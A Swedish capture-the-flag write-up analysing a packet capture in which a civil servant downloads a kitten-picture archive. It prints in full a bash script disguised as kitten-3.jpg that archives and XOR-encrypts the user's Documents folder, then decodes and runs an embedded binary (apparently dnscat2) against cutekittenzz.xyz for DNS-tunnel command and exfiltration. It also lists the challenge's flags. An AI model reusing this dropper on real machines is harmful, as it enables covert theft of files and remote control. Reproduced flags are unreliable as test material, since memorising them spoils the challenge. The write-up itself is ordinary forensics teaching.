“En statstjänsteman på en skyddsvärd myndighet är svag för bilder på kattungar. I sin iver att ta del av fler sådana bilder, har hen råkat ladda ned något som inte var bra. Inte alls bra. Vi misstänker att skadlig kod har använts för att exfiltrera topphemlig data från myndigheten. Analysera nätverkstrafiken för att ta reda på vad som har hänt.
(1 756 473 bytes, sha256: d2efcecc7d136e8d296de7bded63223878a058f6135ee608f6662971c54a8e9a)”
Flaggor#
flagga1{klassiska_lösenord_för_100}
flagga2{every_day_is_caturday}
flagga3{mj4u!}
Sammanfattning av incidenten#
Tjänstemannen besökte hemsidan cute0verload.com och laddade ned ett kompendium
av kattbilder (kittens.zip). En av filerna i kompendiet (kitten-3.jpg)
innehöll ett skadligt program (dnscat2)
som möjliggör det för utomstående aktörer att styra datorn och överföra filer.
Filen /home/user/Documents/topphämligt.pdf, som innehåller obfuskerad kod och
döljer ett hemligt meddelande, exfiltrerades från datorn.
Tekniskt detaljerad beskrivning#
Nätverkstrafiken i kattastrofen.pcap visar att cute0overload.com besöktes
och kittens.zip laddades ned från sidan. Strax därefter påbörjas en onaturlig
DNS-trafik (sett till mängd, frekvens och innehåll) till cutekittenzz.xyz.
kittens.zip innehåller filen flag med texten
“flagga1{klassiska_lösenord_för_100}”. Utöver några genuina kattbilder
innehåller den även kitten-3.jpg, som i själva verket är ett bash-script:
#!/bin/bash
D=$(dirname "$0")
eog "$D/kitten-9.jpg" &
key="P1yq59jxFvIGgyebMmzgQIx6f/ng0fmK+N5+kDdBcgU="
echo $key |base64 -d > /tmp/key
tar cf - $HOME/Documents > /tmp/exfil.tar
echo "EXFIL $(date)" > /tmp/exfil.dat
echo "SIZE: $(stat -c%s /tmp/exfil.tar)" >> /tmp/exfil.dat
md5sum /tmp/exfil.tar >> /tmp/exfil.dat
echo "BEGIN DATA" >> /tmp/exfil.dat
paste <(od -An -vtu1 -w1 /tmp/exfil.tar) <(while :; do od -An -vtu1 -w1 /tmp/key; done) \
| LC_ALL=C awk 'NF!=2{exit}; {printf "%c", xor($1, $2)}' | base64 >> /tmp/exfil.dat
echo "END DATA" >> /tmp/exfil.dat
base64 -d > mjau << 'EOM'
f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAgCkAAAAAAABAAAAAAAAAACgrBQAAAAAAAAAAAEAAOAAN
AEAAJgAlAAYAAAAEAAAAQAAAAAAAAABAAAAAAAAAAEAAAAAAAAAA2AIAAAAAAADYAgAAAAAAAAgA
AAAAAAAAAwAAAAQAAAAYAwAAAAAAABgDAAAAAAAAGAMAAAAAAAAcAAAAAAAAABwAAAAAAAAAAQAA
AAAAAAABAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKAbAAAAAAAAoBsAAAAAAAAAEAAA
...
AAAAAAAAAAAAAAAAAAAA
EOM
chmod +x mjau
./mjau cutekittenzz.xyz
Om scriptet körs så öppnas först en kattbild, innan det fortsätter arbeta i bakgrunden. Scriptet är uppdelat i två delar:
Först kopierar och komprimerar scriptet allt som finns i
$HOME/Documents-mappen, och krypterar detta med ett Vigenère-skiffer. Denna data tillsammans med metadata sparas sedan i/tmp/exfil.datoch kommer, liksom andra temporära filer som scriptet använder, automatiskt tas bort när datorn startas om.Scriptet innehåller ett base64-kodad program (en ELF-fil) som den avkodar och sparar på datorn under namnet
mjau. Scriptet avslutar med att köra detta program med ett argument:./mjau cutekittenzz.xyz
Av allt att dömma tycks mjau vara en kopia av
dnscat2, ett C2 verktyg över DNS vars
kommunikationsprotokoll stämmer överens med den onaturliga DNS-trafiken som
observerats. Den data som exfiltrerats med hjälp av verktyget kan fås ur
pcap-filen med en modifierad version av
DNScat-Decoder.
python dnscat_decoder.py kattastrofen.pcap cutekittenzz.xyz dnscat_exfil_data
Då skapas filen dnscat_exfil_data med den data som exfiltrerades:
command (ubuntu)\00\00␇\CF̀␁\00␃EXFIL Mon 05 Feb 2024 05:09:02 AM PST
SIZE: 378880
9d9b374c33a8672f8f8f1af871d7d04f /tmp/exfil.tar
BEGIN DATA
VzPHgveEZZd0rGP0URmNJeIODNbg0fmK+N5+kDdBcgU/XKrn2PEW8gaDJ5sybOBAjHp/+eDR+Yr4
3n6QN0FyBT9cqufY8RbyBoMnmzJs4ECMen/54NH5ivjefpA3QXIFP1yq5+jBJsIxthKbAlzQcbtP
T/nQ4cm7z+tOkAdxQjUPbJrX6MEm8je3Eq4HW9B3uE1M+dDgyr7O6n6wAkFyBT9cqufY8RbyBoMn
mzJs4ECMen/54NH5ivjefpA3QXIFP1yq59jxFvIGgyebMmzgQIx6f/ng0fmK+N5+kDdBcgU/XKrn
...
FvIGgyebMmzgQIx6f/ng0fmK+N5+kDdBcgU/XKrn2PEW8gaDJ5sybOBAjHp/+eDR+Yr43n6QN0Fy
BQ==
END DATA
Sedan kan extract_and_decrypt.py köras för att, med
hjälp av samma Vigenèrenyckel som vid krypteringen, avkryptera och återfå den
exfiltrerade filen exfil.tar. I detta arkiv finns filen
/home/user/Documents/topphemligt.pdf, som alltså kopierats från på
tjänstemannens dator. Dokumentet visar en bild på en katt och texten
“flagga2{every_day_is_caturday}”.
Dokumentet innehåller även en dold hex-sträng:
$ strings topphemligt.pdf | grep /js
/js <5B5D5B28215B5D2B5B5D295B2B5B5D5D2B28215B5D2B5B5D295B212B5B5D2B212B5B5D5
D2B28215B5D2B5B5D295B2B212B5B5D5D2B2821215B5D2B5B5D295B2B5B5D5D5D5B285B5D5B2
8215B5D2B5B5D295B2B5B5D5D2B28215B5D2B5B5D295B212B5B5D2B212B5B5D5D2B28215B5D2
B5B5D295B2B212B5B5D5D2B2821215B5D2B5B5D295B2B5B5D5D5D2B5B5D295B212B5B5D2B212
...
12B5B5D5D5D28295B2B212B5B5D2B5B212B5B5D2B212B5B5D5D5D292829290A0A>
som avkodas till
[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![
]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]
+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[
+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[
...
[+!+[]+[+[]]]+(!![]+[])[+!+[]]]()[+!+[]+[!+[]+!+[]]])())
Detta är obfuskerad JavaScript-kod. Med ett verktyg såsom Decoder-JSFuck fås den ekvivalenta deobfuskerade koden:
const data = [
0n,
16777216n,
963362762567186450219276n,
1227815285621149424943362n,
4251180420234710034485506n,
1227908978741191150735617n,
1228942000327703451209986n,
1229089574843243084713986n,
1229089574913611821027586n,
1276163323341699551654156n,
1170935903267323904n,
16393102643729268736n,
];
if (0.1 + 0.2 == 0.3) {
let str = "";
for (let x of data) {
str += x.toString(2).padStart(106, "0") + "\n";
}
app.alert(str.replaceAll("0", " ").replaceAll("1", "."));
}
If-satsen körs aldrig (p.g.a. floating-point error), men evaluerar man istället
const data = [
0n,
16777216n,
963362762567186450219276n,
1227815285621149424943362n,
4251180420234710034485506n,
1227908978741191150735617n,
1228942000327703451209986n,
1229089574843243084713986n,
1229089574913611821027586n,
1276163323341699551654156n,
1170935903267323904n,
16393102643729268736n,
];
let str = "";
for (let x of data) {
str += x.toString(2).padStart(106, "0") + "\n";
}
str = str.replaceAll("0", " ").replaceAll("1", ".");
håller str sedan en binär bild motsvarande den nedan.

